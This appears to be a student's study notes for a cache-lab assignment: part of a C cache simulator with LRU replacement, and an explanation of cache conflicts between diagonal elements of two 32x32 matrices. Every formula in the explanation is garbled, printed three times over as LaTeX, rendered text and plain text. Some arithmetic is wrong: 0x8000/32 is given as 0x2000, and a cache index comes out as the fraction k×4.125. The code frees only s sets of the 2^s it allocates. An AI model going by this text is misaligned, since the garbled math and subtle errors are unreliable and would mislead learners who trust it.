        cache[set_index][replaced_LRU_index].LRU_counter = largest_LRU + 1;
    }
    else
    {
        if(v){
            if(I == 'M'){
                printf(" miss");
            }else{
                printf(" miss\n");
            }
        }

        
        cache[set_index][replaced_LRU_index].tag = tag;
        cache[set_index][replaced_LRU_index].valid_bit = 1;
        cache[set_index][replaced_LRU_index].LRU_counter = largest_LRU + 1;
    }

}

void read_file(char* file,cache_set_entry cache,int sets,int E,int b,int v){
    FILE *pFile;
    char identifier;
    unsigned address; //unsigned int
    int size;


    pFile = fopen(file, "r");
    while (fscanf(pFile," %c %x,%d",&identifier,&address,&size)>0)
    {
        /* code */
        
        if(identifier == 'L' || identifier =='S'){
            if(v){
                printf("%c %x,%d", identifier, address, size);
            }
            
            update_result(identifier, address, cache, sets, E, b,v);
        }else if(identifier =='M'){
            if(v){
                printf("%c %x,%d", identifier, address, size);
            }
            update_result(identifier, address, cache, sets, E, b,v);
            update_result('R', address, cache, sets, E, b,v);
        }

        // doing actual code here

    }
    fclose(pFile);
}




cache_set_entry cache_init(int sets,int E){
    int e = pow(2, sets); // equivalent to 1 << sets;
    // printf("%d", e);
    cache_set_entry cache = (cache_set_entry)malloc(e * sizeof(cache_line_entry));
    //first allocate the memory of sets
    for (int i = 0; i < e;i++){
        cache[i] = (cache_line_entry)calloc(E , sizeof(cache_line));
    }
    return cache;
}

void free_memory(cache_set_entry cache,int sets){
    for (int i = 0; i < sets;i++){
        free(cache[i]);
    }
    free(cache);
}

int main(int argc,char** argv)
{
    //get the arguments

    int opt, v = 0, s, e, b;
    char* file;
    cache_set_entry cache;
    // the file initiliazer

    while(-1 != (opt = getopt(argc,argv,"hvs:E:b:t:"))){
        switch(opt){
            case 'h':
                usage();
                return 0;
            case 'v':
                v = 1;
                break;
            case 's':
                s = atoi(optarg);
                break;
            case 'E':
                e = atoi(optarg);
                break;
            case 'b':
                b = atoi(optarg);
                break;
            case 't':
                file = (optarg);
                // printf("%s",file);
                break;
            default:
                usage();
                break;
        }
    }
    //allocate memory
    //question, how to set the index bit in the cache?
    //s is used to define 
    // cache[S][E], S = 2^s, 
    cache = cache_init(s,e);

    // for (int i = 0; i < s;i++){
    //     for (int j = 0; j < e;j++){
    //         printf("%d  %d \n",j, cache[i][j].valid_bit);
    //     }
    // }
    read_file(file,cache,s,e,b,v);

    printSummary(result.hit, result.miss, result.eviction);
    free_memory(cache,s);
    return 0;
}

Part B:

1 kilobytes of cache, E =1, Block size = 32bytes = 2^5, S = 5, 32 sets

int = 4bytes, 32/4 = 8, it can fit 8ints,

32 x 32

Explain on why diagnose will cause the cache hit the same set

Memory Address to Cache Index Mapping

In a direct-mapped cache, the cache index is determined by the formula:

Index=(Memory Address/Block Size)%Number of Sets\text{Index} = (\text{Memory Address} / \text{Block Size}) % \text{Number of Sets}Index=(Memory Address/Block Size)%Number of Sets

Given your cache parameters:

  • Cache Size: 1 KB (1024 bytes)
  • Block Size: 32 bytes
  • Number of Sets: 32

Example Calculation: Address and Index for A[k][k]

For diagonal element A[k][k] in a 32x32 matrix:

  1. Memory Address Calculation:
    • Base address of A (assumed): Base Address(A) = 0x00000000
    • Address of A[k][k]: Address(A[k][k])=Base Address(A)+(k×32+k)×4\text{Address}(A[k][k]) = \text{Base Address}(A) + (k \times 32 + k) \times 4Address(A[k][k])=Base Address(A)+(k×32+k)×4 =0x00000000+(k×32+k)×4= 0x00000000 + (k \times 32 + k) \times 4=0x00000000+(k×32+k)×4 =(k×33)×4= (k \times 33) \times 4=(k×33)×4 =k×132= k \times 132=k×132
  2. Cache Index Calculation:
    • Index=(k×132/32)%32\text{Index} = (k \times 132 / 32) % 32Index=(k×132/32)%32
    • =(k×4.125)%32= (k \times 4.125) % 32=(k×4.125)%32

Example Calculation: Address and Index for B[k][k]

For diagonal element B[k][k] in a 32x32 matrix:

  1. Memory Address Calculation:
    • Base address of B (assumed): Base Address(B) = 0x00008000
    • Address of B[k][k]: Address(B[k][k])=Base Address(B)+(k×32+k)×4\text{Address}(B[k][k]) = \text{Base Address}(B) + (k \times 32 + k) \times 4Address(B[k][k])=Base Address(B)+(k×32+k)×4 =0x00008000+(k×32+k)×4= 0x00008000 + (k \times 32 + k) \times 4=0x00008000+(k×32+k)×4 =0x00008000+(k×33)×4= 0x00008000 + (k \times 33) \times 4=0x00008000+(k×33)×4 =0x00008000+k×132= 0x00008000 + k \times 132=0x00008000+k×132
  2. Cache Index Calculation:
    • Index=((0x00008000+k×132)/32)%32\text{Index} = ((0x00008000 + k \times 132) / 32) % 32Index=((0x00008000+k×132)/32)%32
    • =((0x00008000/32)+(k×132/32))%32= ((0x00008000 / 32) + (k \times 132 / 32)) % 32=((0x00008000/32)+(k×132/32))%32
    • =(0x2000+k×4.125)%32= (0x2000 + k \times 4.125) % 32=(0x2000+k×4.125)%32

Simplifying the Index Calculation

To see if A[k][k] and B[k][k] map to the same index, we need to examine the modulo operation:

  1. For A[k][k]:
    • (k×4.125)%32(k \times 4.125) % 32(k×4.125)%32
  2. For B[k][k]:
    • The base address 0x00008000 converts to 32768 in decimal.
    • (32768/32)=1024(32768 / 32) = 1024(32768/32)=1024
    • 1024%32=01024 % 32 = 01024%32=0
    • Therefore, the index calculation for B[k][k] simplifies to: (0+k×4.125)%32(0 + k \times 4.125) % 32(0+k×4.125)%32
    • =(k×4.125)%32= (k \times 4.125) % 32=(k×4.125)%32

Conclusion

Both A[k][k] and B[k][k] indeed map to the same cache index because the addition of the base address 0x00008000 results in a zero modulo 32, effectively making the cache index calculation dependent only on the k \times 4.125 term for both matrices.

Cache Conflict Explanation

Since both A[k][k] and B[k][k] map to the same cache index, they will contend for the same cache line. When you read A[k][k] and then write B[k][k], the cache line for A gets evicted and replaced by the line for B. This causes a cache miss the next time you access A[k][k] or B[k][k].

64 x 64

https://www.cnblogs.com/liqiuhao/p/8026100.html?utm_source=debugrun&utm_medium=referral

https://zhuanlan.zhihu.com/p/387662272

https://zhuanlan.zhihu.com/p/42754565

https://zhuanlan.zhihu.com/p/79058089

← All notes